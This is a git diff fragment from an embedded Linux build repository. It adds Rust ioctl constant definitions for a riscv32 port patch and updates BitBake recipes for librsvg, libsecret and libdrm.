++pub const ATMSIGD_CTRL: u32 = 25072;
++pub const CIOC_KERNEL_VERSION: u32 = 3221775114;
++pub const BTRFS_IOC_CLONE_RANGE: u32 = 1075876877;
++pub const SNAPSHOT_UNFREEZE: u32 = 13058;
++pub const F2FS_IOC_START_VOLATILE_WRITE: u32 = 62723;
++pub const PMU_IOC_HAS_ADB: u32 = 2148024836;
++pub const I2OGETIOPS: u32 = 2149607680;
++pub const VIDIOC_S_FBUF: u32 = 1076909579;
++pub const PPRCONTROL: u32 = 2147577987;
++pub const CHIOSPICKER: u32 = 1074029317;
++pub const VFIO_IOMMU_SPAPR_REGISTER_MEMORY: u32 = 15221;
++pub const TUNGETSNDBUF: u32 = 2147767507;
++pub const GSMIOC_SETCONF: u32 = 1078740737;
++pub const IOC_PR_PREEMPT: u32 = 1075343563;
++pub const KCOV_INIT_TRACE: u32 = 2148033281;
++pub const SONYPI_IOCGBAT1CAP: u32 = 2147644930;
++pub const SWITCHTEC_IOCTL_FLASH_INFO: u32 = 2148554560;
++pub const MTIOCTOP: u32 = 1074294017;
++pub const VHOST_VDPA_SET_STATUS: u32 = 1073852274;
++pub const VHOST_SCSI_SET_EVENTS_MISSED: u32 = 1074048835;
++pub const VFIO_IOMMU_DIRTY_PAGES: u32 = 15221;
++pub const BTRFS_IOC_SCRUB_PROGRESS: u32 = 3288372253;
++pub const PPPIOCGMRU: u32 = 2147775571;
++pub const BTRFS_IOC_DEV_REPLACE: u32 = 3391657013;
++pub const PPPIOCGFLAGS: u32 = 2147775578;
++pub const NILFS_IOCTL_SET_SUINFO: u32 = 1075342989;
++pub const FW_CDEV_IOC_GET_CYCLE_TIMER2: u32 = 3222807316;
++pub const ATM_DELLECSADDR: u32 = 1074815375;
++pub const FW_CDEV_IOC_GET_SPEED: u32 = 8977;
++pub const PPPIOCGIDLE32: u32 = 2148037695;
++pub const VFIO_DEVICE_RESET: u32 = 15215;
++pub const GPIO_GET_LINEINFO_UNWATCH_IOCTL: u32 = 3221533708;
++pub const WDIOC_GETSTATUS: u32 = 2147768065;
++pub const BTRFS_IOC_SET_FEATURES: u32 = 1076925497;
++pub const IOCTL_MEI_CONNECT_CLIENT: u32 = 3222292481;
++pub const VIDIOC_OMAP3ISP_AEWB_CFG: u32 = 3223344835;
++pub const PCITEST_READ: u32 = 1074286597;
++pub const VFIO_GROUP_GET_STATUS: u32 = 15207;
++pub const MATROXFB_GET_ALL_OUTPUTS: u32 = 2148036347;
++pub const USBDEVFS_CLEAR_HALT: u32 = 2147767573;
++pub const VIDIOC_DECODER_CMD: u32 = 3225966176;
++pub const VIDIOC_G_AUDIO: u32 = 2150913569;
++pub const CCISS_RESCANDISK: u32 = 16912;
++pub const RIO_DISABLE_PORTWRITE_RANGE: u32 = 1074818316;
++pub const IOC_OPAL_SECURE_ERASE_LR: u32 = 1091596519;
++pub const USBDEVFS_REAPURB: u32 = 1074287884;
++pub const DFL_FPGA_CHECK_EXTENSION: u32 = 46593;
++pub const AUTOFS_IOC_PROTOVER: u32 = 2147783523;
++pub const FSL_HV_IOCTL_MEMCPY: u32 = 3223891717;
++pub const BTRFS_IOC_GET_FEATURES: u32 = 2149094457;
++pub const PCITEST_MSIX: u32 = 1074024455;
++pub const BTRFS_IOC_DEFRAG_RANGE: u32 = 1076925456;
++pub const UI_BEGIN_FF_ERASE: u32 = 3222033866;
++pub const DM_GET_TARGET_VERSION: u32 = 3241737489;
++pub const PPPIOCGIDLE: u32 = 2148561983;
++pub const NVRAM_SETCKS: u32 = 28737;
++pub const WDIOC_GETSUPPORT: u32 = 2150127360;
++pub const GSMIOC_ENABLE_NET: u32 = 1077167874;
++pub const GPIO_GET_CHIPINFO_IOCTL: u32 = 2151986177;
++pub const NE_ADD_VCPU: u32 = 3221532193;
++pub const EVIOCSKEYCODE_V2: u32 = 1076380932;
++pub const PTP_SYS_OFFSET_EXTENDED2: u32 = 3300932882;
++pub const SCIF_FENCE_WAIT: u32 = 3221517072;
++pub const RIO_TRANSFER: u32 = 3222826261;
++pub const FSL_HV_IOCTL_DOORBELL: u32 = 3221794566;
++pub const RIO_MPORT_MAINT_WRITE_LOCAL: u32 = 1075342598;
++pub const I2OEVTREG: u32 = 1074555146;
++pub const I2OPARMGET: u32 = 3223873796;
++pub const EVIOCGID: u32 = 2148025602;
++pub const BTRFS_IOC_QGROUP_CREATE: u32 = 1074828330;
++pub const AUTOFS_DEV_IOCTL_SETPIPEFD: u32 = 3222836088;
++pub const VIDIOC_S_PARM: u32 = 3234616854;
++pub const TUNSETSTEERINGEBPF: u32 = 2147767520;
++pub const ATM_GETNAMES: u32 = 1074815363;
++pub const VIDIOC_QUERYMENU: u32 = 3224131109;
++pub const DFL_FPGA_PORT_DMA_UNMAP: u32 = 46660;
++pub const I2OLCTGET: u32 = 3222825218;
++pub const FS_IOC_GET_ENCRYPTION_PWSALT: u32 = 1074816532;
++pub const NS_SETBUFLEV: u32 = 1074815330;
++pub const BLKCLOSEZONE: u32 = 1074795143;
++pub const SONET_GETFRSENSE: u32 = 2147901719;
++pub const UI_SET_EVBIT: u32 = 1074025828;
++pub const DM_LIST_VERSIONS: u32 = 3241737485;
++pub const HIDIOCGSTRING: u32 = 2164541444;
++pub const PPPIOCATTCHAN: u32 = 1074033720;
++pub const VDUSE_DEV_SET_CONFIG: u32 = 1074299154;
++pub const TUNGETFEATURES: u32 = 2147767503;
++pub const VFIO_GROUP_UNSET_CONTAINER: u32 = 15209;
++pub const IPMICTL_SET_MY_ADDRESS_CMD: u32 = 2147772689;
++pub const CCISS_REGNEWDISK: u32 = 1074020877;
++pub const VIDIOC_QUERY_DV_TIMINGS: u32 = 2156156515;
++pub const PHN_SETREGS: u32 = 1076391944;
++pub const FAT_IOCTL_GET_ATTRIBUTES: u32 = 2147774992;
++pub const FSL_MC_SEND_MC_COMMAND: u32 = 3225440992;
++pub const TUNGETIFF: u32 = 2147767506;
++pub const PTP_CLOCK_GETCAPS2: u32 = 2152742154;
++pub const BTRFS_IOC_RESIZE: u32 = 1342215171;
++pub const VHOST_SET_VRING_ENDIAN: u32 = 1074310931;
++pub const PPS_KC_BIND: u32 = 1074294949;
++pub const F2FS_IOC_WRITE_CHECKPOINT: u32 = 62727;
++pub const UI_SET_FFBIT: u32 = 1074025835;
++pub const IPMICTL_GET_MY_LUN_CMD: u32 = 2147772692;
++pub const CEC_ADAP_G_PHYS_ADDR: u32 = 2147639553;
++pub const CEC_G_MODE: u32 = 2147770632;
++pub const USBDEVFS_RESETEP: u32 = 2147767555;
++pub const MEDIA_REQUEST_IOC_QUEUE: u32 = 31872;
++pub const USBDEVFS_ALLOC_STREAMS: u32 = 2148029724;
++pub const MGSL_IOCSXCTRL: u32 = 27925;
++pub const MEDIA_IOC_G_TOPOLOGY: u32 = 3225975812;
++pub const PPPIOCUNBRIDGECHAN: u32 = 29748;
++pub const F2FS_IOC_COMMIT_ATOMIC_WRITE: u32 = 62722;
++pub const ISST_IF_GET_PLATFORM_INFO: u32 = 2148072960;
++pub const SCIF_FENCE_MARK: u32 = 3222303503;
++pub const USBDEVFS_RELEASE_PORT: u32 = 2147767577;
++pub const VFIO_CHECK_EXTENSION: u32 = 15205;
++pub const BTRFS_IOC_QGROUP_LIMIT: u32 = 2150667307;
++pub const FAT_IOCTL_GET_VOLUME_ID: u32 = 2147774995;
++pub const UI_SET_PHYS: u32 = 1074287980;
++pub const FDWERRORGET: u32 = 2150105623;
++pub const VIDIOC_SUBDEV_G_EDID: u32 = 3223868968;
++pub const MGSL_IOCGSTATS: u32 = 27911;
++pub const RPROC_SET_SHUTDOWN_ON_RELEASE: u32 = 1074050817;
++pub const SIOCGSTAMP_NEW: u32 = 2148567302;
++pub const RTC_WKALM_RD: u32 = 2150133776;
++pub const PHN_GET_REG: u32 = 3221778432;
++pub const DELL_WMI_SMBIOS_CMD: u32 = 3224655616;
++pub const PHN_NOT_OH: u32 = 28676;
++pub const PPGETMODES: u32 = 2147774615;
++pub const CHIOGPARAMS: u32 = 2148819718;
++pub const VFIO_DEVICE_GET_GFX_DMABUF: u32 = 15219;
++pub const VHOST_SET_VRING_BUSYLOOP_TIMEOUT: u32 = 1074310947;
++pub const VIDIOC_SUBDEV_G_SELECTION: u32 = 3225441853;
++pub const BTRFS_IOC_RM_DEV_V2: u32 = 1342215226;
++pub const MGSL_IOCWAITGPIO: u32 = 3222301970;
++pub const PMU_IOC_CAN_SLEEP: u32 = 2148024837;
++pub const KCOV_ENABLE: u32 = 25444;
++pub const BTRFS_IOC_CLONE: u32 = 1074041865;
++pub const F2FS_IOC_DEFRAGMENT: u32 = 3222336776;
++pub const FW_CDEV_IOC_DEALLOCATE_ISO_RESOURCE: u32 = 1074012942;
++pub const AGPIOC_ALLOCATE: u32 = 3221766406;
++pub const NE_SET_USER_MEMORY_REGION: u32 = 1075359267;
++pub const MGSL_IOCTXABORT: u32 = 27910;
++pub const MGSL_IOCSGPIO: u32 = 1074818320;
++pub const LIRC_SET_REC_CARRIER: u32 = 1074030868;
++pub const F2FS_IOC_FLUSH_DEVICE: u32 = 1074328842;
++pub const SNAPSHOT_ATOMIC_RESTORE: u32 = 13060;
++pub const RTC_UIE_OFF: u32 = 28676;
++pub const BT_BMC_IOCTL_SMS_ATN: u32 = 45312;
++pub const NVME_IOCTL_ID: u32 = 20032;
++pub const NE_START_ENCLAVE: u32 = 3222318628;
++pub const VIDIOC_STREAMON: u32 = 1074026002;
++pub const FDPOLLDRVSTAT: u32 = 2152727059;
++pub const AUTOFS_DEV_IOCTL_READY: u32 = 3222836086;
++pub const VIDIOC_ENUMAUDOUT: u32 = 3224655426;
++pub const VIDIOC_SUBDEV_S_STD: u32 = 1074288152;
++pub const WDIOC_GETTIMELEFT: u32 = 2147768074;
++pub const ATM_GETLINKRATE: u32 = 1074815361;
++pub const RTC_WKALM_SET: u32 = 1076391951;
++pub const VHOST_GET_BACKEND_FEATURES: u32 = 2148052774;
++pub const ATMARP_ENCAP: u32 = 25061;
++pub const CAPI_GET_FLAGS: u32 = 2147762979;
++pub const IPMICTL_SET_MY_CHANNEL_ADDRESS_CMD: u32 = 2147772696;
++pub const DFL_FPGA_FME_PORT_ASSIGN: u32 = 1074050690;
++pub const NS_GET_OWNER_UID: u32 = 46852;
++pub const VIDIOC_OVERLAY: u32 = 1074025998;
++pub const BTRFS_IOC_WAIT_SYNC: u32 = 1074304022;
++pub const GPIOHANDLE_SET_CONFIG_IOCTL: u32 = 3226776586;
++pub const VHOST_GET_VRING_ENDIAN: u32 = 1074310932;
++pub const ATM_GETADDR: u32 = 1074815366;
++pub const PHN_GET_REGS: u32 = 3221778434;
++pub const AUTOFS_DEV_IOCTL_REQUESTER: u32 = 3222836091;
++pub const AUTOFS_DEV_IOCTL_EXPIRE: u32 = 3222836092;
++pub const SNAPSHOT_S2RAM: u32 = 13067;
++pub const JSIOCSAXMAP: u32 = 1077963313;
++pub const F2FS_IOC_SET_COMPRESS_OPTION: u32 = 1073935638;
++pub const VBG_IOCTL_HGCM_DISCONNECT: u32 = 3223082501;
++pub const SCIF_FENCE_SIGNAL: u32 = 3223876369;
++pub const VFIO_DEVICE_GET_PCI_HOT_RESET_INFO: u32 = 15216;
++pub const VIDIOC_SUBDEV_ENUM_MBUS_CODE: u32 = 3224393218;
++pub const MMTIMER_GETOFFSET: u32 = 27904;
++pub const RIO_CM_CHAN_LISTEN: u32 = 1073898246;
++pub const ATM_SETSC: u32 = 1074029041;
++pub const F2FS_IOC_SHUTDOWN: u32 = 2147768445;
++pub const NVME_IOCTL_RESCAN: u32 = 20038;
++pub const BLKOPENZONE: u32 = 1074795142;
++pub const DM_VERSION: u32 = 3241737472;
++pub const CEC_TRANSMIT: u32 = 3224920325;
++pub const FS_IOC_GET_ENCRYPTION_POLICY_EX: u32 = 3221841430;
++pub const SIOCMKCLIP: u32 = 25056;
++pub const IPMI_BMC_IOCTL_CLEAR_SMS_ATN: u32 = 45313;
++pub const HIDIOCGVERSION: u32 = 2147764225;
++pub const VIDIOC_S_INPUT: u32 = 3221509671;
++pub const VIDIOC_G_CROP: u32 = 3222558267;
++pub const LIRC_SET_WIDEBAND_RECEIVER: u32 = 1074030883;
++pub const EVIOCGEFFECTS: u32 = 2147763588;
++pub const UVCIOC_CTRL_QUERY: u32 = 3222304033;
++pub const IOC_OPAL_GENERIC_TABLE_RW: u32 = 1094217963;
++pub const FS_IOC_READ_VERITY_METADATA: u32 = 3223873159;
++pub const ND_IOCTL_SET_CONFIG_DATA: u32 = 3221769734;
++pub const USBDEVFS_GETDRIVER: u32 = 1090802952;
++pub const IDT77105_GETSTAT: u32 = 1074815282;
++pub const HIDIOCINITREPORT: u32 = 18437;
++pub const VFIO_DEVICE_GET_INFO: u32 = 15211;
++pub const RIO_CM_CHAN_RECEIVE: u32 = 3222299402;
++pub const RNDGETENTCNT: u32 = 2147766784;
++pub const PPPIOCNEWUNIT: u32 = 3221517374;
++pub const BTRFS_IOC_INO_LOOKUP: u32 = 3489698834;
++pub const FDRESET: u32 = 596;
++pub const IOC_PR_REGISTER: u32 = 1075343560;
++pub const HIDIOCSREPORT: u32 = 1074546696;
++pub const TEE_IOC_OPEN_SESSION: u32 = 2148574210;
++pub const TEE_IOC_SUPPL_RECV: u32 = 2148574214;
++pub const BTRFS_IOC_BALANCE_CTL: u32 = 1074041889;
++pub const GPIO_GET_LINEINFO_WATCH_IOCTL: u32 = 3225990155;
++pub const HIDIOCGRAWINFO: u32 = 2148026371;
++pub const PPPIOCSCOMPRESS: u32 = 1074820173;
++pub const USBDEVFS_CONNECTINFO: u32 = 1074287889;
++pub const BLKRESETZONE: u32 = 1074795139;
++pub const CHIOINITELEM: u32 = 25361;
++pub const NILFS_IOCTL_SET_ALLOC_RANGE: u32 = 1074818700;
++pub const AUTOFS_DEV_IOCTL_CATATONIC: u32 = 3222836089;
++pub const RIO_MPORT_MAINT_HDID_SET: u32 = 1073900801;
++pub const PPGETPHASE: u32 = 2147774617;
++pub const USBDEVFS_DISCONNECT_CLAIM: u32 = 2164806939;
++pub const FDMSGON: u32 = 581;
++pub const VIDIOC_G_SLICED_VBI_CAP: u32 = 3228849733;
++pub const BTRFS_IOC_BALANCE_V2: u32 = 3288372256;
++pub const MEDIA_REQUEST_IOC_REINIT: u32 = 31873;
++pub const IOC_OPAL_ERASE_LR: u32 = 1091596518;
++pub const FDFMTBEG: u32 = 583;
++pub const RNDRESEEDCRNG: u32 = 20999;
++pub const ISST_IF_GET_PHY_ID: u32 = 3221814785;
++pub const TUNSETNOCSUM: u32 = 1074025672;
++pub const SONET_GETSTAT: u32 = 2149867792;
++pub const TFD_IOC_SET_TICKS: u32 = 1074287616;
++pub const PPDATADIR: u32 = 1074032784;
++pub const IOC_OPAL_ENABLE_DISABLE_MBR: u32 = 1091596517;
++pub const GPIO_V2_GET_LINE_IOCTL: u32 = 3260068871;
++pub const RIO_CM_CHAN_SEND: u32 = 1074815753;
++pub const PPWCTLONIRQ: u32 = 1073836178;
++pub const SONYPI_IOCGBRT: u32 = 2147579392;
++pub const IOC_PR_RELEASE: u32 = 1074819274;
++pub const PPCLRIRQ: u32 = 2147774611;
++pub const IPMICTL_SET_MY_CHANNEL_LUN_CMD: u32 = 2147772698;
++pub const MGSL_IOCSXSYNC: u32 = 27923;
++pub const HPET_IE_OFF: u32 = 26626;
++pub const IOC_OPAL_ACTIVATE_USR: u32 = 1091596513;
++pub const SONET_SETFRAMING: u32 = 1074028821;
++pub const PERF_EVENT_IOC_PAUSE_OUTPUT: u32 = 1074013193;
++pub const BTRFS_IOC_LOGICAL_INO_V2: u32 = 3224933435;
++pub const VBG_IOCTL_HGCM_CONNECT: u32 = 3231471108;
++pub const BLKFINISHZONE: u32 = 1074795144;
++pub const EVIOCREVOKE: u32 = 1074021777;
++pub const VFIO_DEVICE_FEATURE: u32 = 15221;
++pub const CCISS_GETPCIINFO: u32 = 2148024833;
++pub const ISST_IF_MBOX_COMMAND: u32 = 3221814787;
++pub const SCIF_ACCEPTREQ: u32 = 3222303492;
++pub const PERF_EVENT_IOC_QUERY_BPF: u32 = 3221758986;
++pub const VIDIOC_STREAMOFF: u32 = 1074026003;
++pub const VDUSE_DESTROY_DEV: u32 = 1090552067;
++pub const FDGETFDCSTAT: u32 = 2150105621;
++pub const CM_IOCGATR: u32 = 3221775105;
++pub const VIDIOC_S_PRIORITY: u32 = 1074026052;
++pub const SNAPSHOT_FREEZE: u32 = 13057;
++pub const VIDIOC_ENUMINPUT: u32 = 3226490394;
++pub const ZATM_GETPOOLZ: u32 = 1074815330;
++pub const RIO_DISABLE_DOORBELL_RANGE: u32 = 1074294026;
++pub const GPIO_V2_GET_LINEINFO_WATCH_IOCTL: u32 = 3238048774;
++pub const VIDIOC_G_STD: u32 = 2148029975;
++pub const USBDEVFS_ALLOW_SUSPEND: u32 = 21794;
++pub const SONET_GETSTATZ: u32 = 2149867793;
++pub const SCIF_ACCEPTREG: u32 = 3221779205;
++pub const VIDIOC_ENCODER_CMD: u32 = 3223869005;
++pub const PPPIOCSRASYNCMAP: u32 = 1074033748;
++pub const IOCTL_MEI_NOTIFY_SET: u32 = 1074022402;
++pub const BTRFS_IOC_QUOTA_RESCAN_STATUS: u32 = 2151715885;
++pub const F2FS_IOC_GARBAGE_COLLECT: u32 = 1074066694;
++pub const ATMLEC_CTRL: u32 = 25040;
++pub const MATROXFB_GET_AVAILABLE_OUTPUTS: u32 = 2148036345;
++pub const DM_DEV_CREATE: u32 = 3241737475;
++pub const VHOST_VDPA_GET_VRING_NUM: u32 = 2147659638;
++pub const VIDIOC_G_CTRL: u32 = 3221771803;
++pub const NBD_CLEAR_SOCK: u32 = 43780;
++pub const VFIO_DEVICE_QUERY_GFX_PLANE: u32 = 15218;
++pub const WDIOC_KEEPALIVE: u32 = 2147768069;
++pub const NVME_IOCTL_SUBSYS_RESET: u32 = 20037;
++pub const PTP_EXTTS_REQUEST2: u32 = 1074806027;
++pub const PCITEST_BAR: u32 = 20481;
++pub const MGSL_IOCGGPIO: u32 = 2148560145;
++pub const EVIOCSREP: u32 = 1074283779;
++pub const VFIO_DEVICE_GET_IRQ_INFO: u32 = 15213;
++pub const HPET_DPI: u32 = 26629;
++pub const VDUSE_VQ_SETUP_KICKFD: u32 = 1074299158;
++pub const ND_IOCTL_CALL: u32 = 3225439754;
++pub const HIDIOCGDEVINFO: u32 = 2149337091;
++pub const DM_TABLE_DEPS: u32 = 3241737483;
++pub const BTRFS_IOC_DEV_INFO: u32 = 3489698846;
++pub const VDUSE_IOTLB_GET_FD: u32 = 3223355664;
++pub const FW_CDEV_IOC_GET_INFO: u32 = 3223855872;
++pub const VIDIOC_G_PRIORITY: u32 = 2147767875;
++pub const ATM_NEWBACKENDIF: u32 = 1073897971;
++pub const VIDIOC_S_EXT_CTRLS: u32 = 3223344712;
++pub const VIDIOC_SUBDEV_ENUM_DV_TIMINGS: u32 = 3230946914;
++pub const VIDIOC_OMAP3ISP_CCDC_CFG: u32 = 3224917697;
++pub const VIDIOC_S_HW_FREQ_SEEK: u32 = 1076909650;
++pub const DM_TABLE_LOAD: u32 = 3241737481;
++pub const F2FS_IOC_START_ATOMIC_WRITE: u32 = 62721;
++pub const VIDIOC_G_OUTPUT: u32 = 2147767854;
++pub const ATM_DROPPARTY: u32 = 1074029045;
++pub const CHIOGELEM: u32 = 1080845072;
++pub const BTRFS_IOC_GET_SUPPORTED_FEATURES: u32 = 2152240185;
++pub const EVIOCSKEYCODE: u32 = 1074283780;
++pub const NE_GET_IMAGE_LOAD_INFO: u32 = 3222318626;
++pub const TUNSETLINK: u32 = 1074025677;
++pub const FW_CDEV_IOC_ADD_DESCRIPTOR: u32 = 3222807302;
++pub const BTRFS_IOC_SCRUB_CANCEL: u32 = 37916;
++pub const PPS_SETPARAMS: u32 = 1074294946;
++pub const IOC_OPAL_LR_SETUP: u32 = 1093169379;
++pub const FW_CDEV_IOC_DEALLOCATE: u32 = 1074012931;
++pub const WDIOC_SETTIMEOUT: u32 = 3221509894;
++pub const IOC_WATCH_QUEUE_SET_FILTER: u32 = 22369;
++pub const CAPI_GET_MANUFACTURER: u32 = 3221504774;
++pub const VFIO_IOMMU_SPAPR_UNREGISTER_MEMORY: u32 = 15222;
++pub const ASPEED_P2A_CTRL_IOCTL_SET_WINDOW: u32 = 1074836224;
++pub const VIDIOC_G_EDID: u32 = 3223868968;
++pub const F2FS_IOC_GARBAGE_COLLECT_RANGE: u32 = 1075377419;
++pub const RIO_MAP_INBOUND: u32 = 3223874833;
++pub const IOC_OPAL_TAKE_OWNERSHIP: u32 = 1091072222;
++pub const USBDEVFS_CLAIM_PORT: u32 = 2147767576;
++pub const VIDIOC_S_AUDIO: u32 = 1077171746;
++pub const FS_IOC_GET_ENCRYPTION_NONCE: u32 = 2148558363;
++pub const FW_CDEV_IOC_SEND_STREAM_PACKET: u32 = 1076372243;
++pub const BTRFS_IOC_SNAP_DESTROY: u32 = 1342215183;
++pub const SNAPSHOT_FREE: u32 = 13061;
++pub const I8K_GET_SPEED: u32 = 3221776773;
++pub const HIDIOCGREPORT: u32 = 1074546695;
++pub const HPET_EPI: u32 = 26628;
++pub const JSIOCSCORR: u32 = 1076128289;
++pub const IOC_PR_PREEMPT_ABORT: u32 = 1075343564;
++pub const RIO_MAP_OUTBOUND: u32 = 3223874831;
++pub const ATM_SETESI: u32 = 1074815372;
++pub const FW_CDEV_IOC_START_ISO: u32 = 1074799370;
++pub const ATM_DELADDR: u32 = 1074815369;
++pub const PPFCONTROL: u32 = 1073901710;
++pub const SONYPI_IOCGFAN: u32 = 2147579402;
++pub const RTC_IRQP_SET: u32 = 1074294796;
++pub const PCITEST_WRITE: u32 = 1074286596;
++pub const PPCLAIM: u32 = 28811;
++pub const VIDIOC_S_JPEGCOMP: u32 = 1082938942;
++pub const IPMICTL_UNREGISTER_FOR_CMD: u32 = 2147641615;
++pub const VHOST_SET_FEATURES: u32 = 1074310912;
++pub const TOSHIBA_ACPI_SCI: u32 = 3222828177;
++pub const VIDIOC_DQBUF: u32 = 3227014673;
++pub const BTRFS_IOC_BALANCE_PROGRESS: u32 = 2214630434;
++pub const BTRFS_IOC_SUBVOL_SETFLAGS: u32 = 1074304026;
++pub const ATMLEC_MCAST: u32 = 25042;
++pub const MMTIMER_GETFREQ: u32 = 2148035842;
++pub const VIDIOC_G_SELECTION: u32 = 3225441886;
++pub const RTC_ALM_SET: u32 = 1076129799;
++pub const PPPOEIOCSFWD: u32 = 1074311424;
++pub const IPMICTL_GET_MAINTENANCE_MODE_CMD: u32 = 2147772702;
++pub const FS_IOC_ENABLE_VERITY: u32 = 1082156677;
++pub const NILFS_IOCTL_GET_BDESCS: u32 = 3222826631;
++pub const FDFMTEND: u32 = 585;
++pub const DMA_BUF_SET_NAME: u32 = 1074291201;
++pub const UI_BEGIN_FF_UPLOAD: u32 = 3228063176;
++pub const RTC_UIE_ON: u32 = 28675;
++pub const PPRELEASE: u32 = 28812;
++pub const VFIO_IOMMU_UNMAP_DMA: u32 = 15218;
++pub const VIDIOC_OMAP3ISP_PRV_CFG: u32 = 3228587714;
++pub const GPIO_GET_LINEHANDLE_IOCTL: u32 = 3245126659;
++pub const VFAT_IOCTL_READDIR_BOTH: u32 = 2184212993;
++pub const NVME_IOCTL_ADMIN_CMD: u32 = 3225964097;
++pub const VHOST_SET_VRING_KICK: u32 = 1074310944;
++pub const BTRFS_IOC_SUBVOL_CREATE_V2: u32 = 1342215192;
++pub const BTRFS_IOC_SNAP_CREATE: u32 = 1342215169;
++pub const SONYPI_IOCGBAT2CAP: u32 = 2147644932;
++pub const PPNEGOT: u32 = 1074032785;
++pub const NBD_PRINT_DEBUG: u32 = 43782;
++pub const BTRFS_IOC_INO_LOOKUP_USER: u32 = 3489698878;
++pub const BTRFS_IOC_GET_SUBVOL_ROOTREF: u32 = 3489698877;
++pub const FS_IOC_REMOVE_ENCRYPTION_KEY_ALL_USERS: u32 = 3225445913;
++pub const BTRFS_IOC_FS_INFO: u32 = 2214630431;
++pub const VIDIOC_ENUM_FMT: u32 = 3225441794;
++pub const VIDIOC_G_INPUT: u32 = 2147767846;
++pub const VTPM_PROXY_IOC_NEW_DEV: u32 = 3222577408;
++pub const DFL_FPGA_FME_ERR_GET_IRQ_NUM: u32 = 2147792515;
++pub const ND_IOCTL_DIMM_FLAGS: u32 = 3221769731;
++pub const BTRFS_IOC_QUOTA_RESCAN: u32 = 1077974060;
++pub const MMTIMER_GETCOUNTER: u32 = 2148035849;
++pub const MATROXFB_GET_OUTPUT_MODE: u32 = 3221778170;
++pub const BTRFS_IOC_QUOTA_RESCAN_WAIT: u32 = 37934;
++pub const RIO_CM_CHAN_BIND: u32 = 1074291461;
++pub const HIDIOCGRDESC: u32 = 2416199682;
++pub const MGSL_IOCGIF: u32 = 27915;
++pub const VIDIOC_S_OUTPUT: u32 = 3221509679;
++pub const HIDIOCGREPORTINFO: u32 = 3222030345;
++pub const WDIOC_GETBOOTSTATUS: u32 = 2147768066;
++pub const VDUSE_VQ_GET_INFO: u32 = 3224404245;
++pub const ACRN_IOCTL_ASSIGN_PCIDEV: u32 = 1076142677;
++pub const BLKGETDISKSEQ: u32 = 2148012672;
++pub const ACRN_IOCTL_PM_GET_CPU_STATE: u32 = 3221791328;
++pub const ACRN_IOCTL_DESTROY_VM: u32 = 41489;
++pub const ACRN_IOCTL_SET_PTDEV_INTR: u32 = 1075094099;
++pub const ACRN_IOCTL_CREATE_IOREQ_CLIENT: u32 = 41522;
++pub const ACRN_IOCTL_IRQFD: u32 = 1075356273;
++pub const ACRN_IOCTL_CREATE_VM: u32 = 3224412688;
++pub const ACRN_IOCTL_INJECT_MSI: u32 = 1074831907;
++pub const ACRN_IOCTL_ATTACH_IOREQ_CLIENT: u32 = 41523;
++pub const ACRN_IOCTL_RESET_PTDEV_INTR: u32 = 1075094100;
++pub const ACRN_IOCTL_NOTIFY_REQUEST_FINISH: u32 = 1074307633;
++pub const ACRN_IOCTL_SET_IRQLINE: u32 = 1074307621;
++pub const ACRN_IOCTL_START_VM: u32 = 41490;
++pub const ACRN_IOCTL_SET_VCPU_REGS: u32 = 1093181974;
++pub const ACRN_IOCTL_SET_MEMSEG: u32 = 1075880513;
++pub const ACRN_IOCTL_PAUSE_VM: u32 = 41491;
++pub const ACRN_IOCTL_CLEAR_VM_IOREQ: u32 = 41525;
++pub const ACRN_IOCTL_UNSET_MEMSEG: u32 = 1075880514;
++pub const ACRN_IOCTL_IOEVENTFD: u32 = 1075880560;
++pub const ACRN_IOCTL_DEASSIGN_PCIDEV: u32 = 1076142678;
++pub const ACRN_IOCTL_RESET_VM: u32 = 41493;
++pub const ACRN_IOCTL_DESTROY_IOREQ_CLIENT: u32 = 41524;
++pub const ACRN_IOCTL_VM_INTR_MONITOR: u32 = 1074307620;
+--
+2.42.1
+
diff --git a/poky/meta/recipes-gnome/librsvg/librsvg_2.56.3.bb b/poky/meta/recipes-gnome/librsvg/librsvg_2.56.3.bb
index 4b9aaeecbe..9824b8898d 100644
--- a/poky/meta/recipes-gnome/librsvg/librsvg_2.56.3.bb
+++ b/poky/meta/recipes-gnome/librsvg/librsvg_2.56.3.bb
@@ -14,11 +14,13 @@ SECTION = "x11/utils"
DEPENDS = "cairo gdk-pixbuf glib-2.0 libxml2 pango python3-docutils-native"
BBCLASSEXTEND = "native nativesdk"
+GNOMEBASEBUILDCLASS = "autotools"
inherit cargo_common gnomebase pixbufcache gobject-introspection rust vala gi-docgen cargo-update-recipe-crates
require ${BPN}-crates.inc
SRC_URI += "file://0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch \
+ file://0001-Add-riscv32-support.patch;patchdir=../cargo_home/bitbake/linux-raw-sys-0.4.3 \
"
SRC_URI[archive.sha256sum] = "5a328048a02d014645cd27f61140f4e0b11280fb2c7f2a21864fe0c59ac1ce88"
@@ -38,7 +40,6 @@ export RUST_TARGET = "${RUST_HOST_SYS}"
RUSTFLAGS:append:mips = " --cfg crossbeam_no_atomic_64"
RUSTFLAGS:append:mipsel = " --cfg crossbeam_no_atomic_64"
RUSTFLAGS:append:powerpc = " --cfg crossbeam_no_atomic_64"
-RUSTFLAGS:append:riscv32 = " --cfg crossbeam_no_atomic_64"
do_configure[postfuncs] += "cargo_common_do_configure"
diff --git a/poky/meta/recipes-gnome/libsecret/libsecret_0.21.1.bb b/poky/meta/recipes-gnome/libsecret/libsecret_0.21.1.bb
index 63102476cb..f762d7c343 100644
--- a/poky/meta/recipes-gnome/libsecret/libsecret_0.21.1.bb
+++ b/poky/meta/recipes-gnome/libsecret/libsecret_0.21.1.bb
@@ -8,7 +8,6 @@ HOMEPAGE = "https://github.com/GNOME/libsecret"
BUGTRACKER = "https://gitlab.gnome.org/GNOME/libsecret/issues"
LIC_FILES_CHKSUM = "file://COPYING;md5=23c2a5e0106b99d75238986559bb5fc6"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gi-docgen vala gobject-introspection manpages
diff --git a/poky/meta/recipes-graphics/drm/libdrm_2.4.116.bb b/poky/meta/recipes-graphics/drm/libdrm_2.4.117.bb
index f0aaf314c6..3e6fb16e15 100644
--- a/poky/meta/recipes-graphics/drm/libdrm_2.4.116.bb
+++ b/poky/meta/recipes-graphics/drm/libdrm_2.4.117.bb
@@ -13,7 +13,7 @@ DEPENDS = "libpthread-stubs"
SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.xz \
"
-SRC_URI[sha256sum] = "46c53f40735ea3d26d614297f155f6131a510624a24274f654f6469ca905339a"
+SRC_URI[sha256sum] = "a2888d69e3eb1c8a77adc08a75a60fbae01f0d208d26f034d1a12e362361242b"
inherit meson pkgconfig manpages
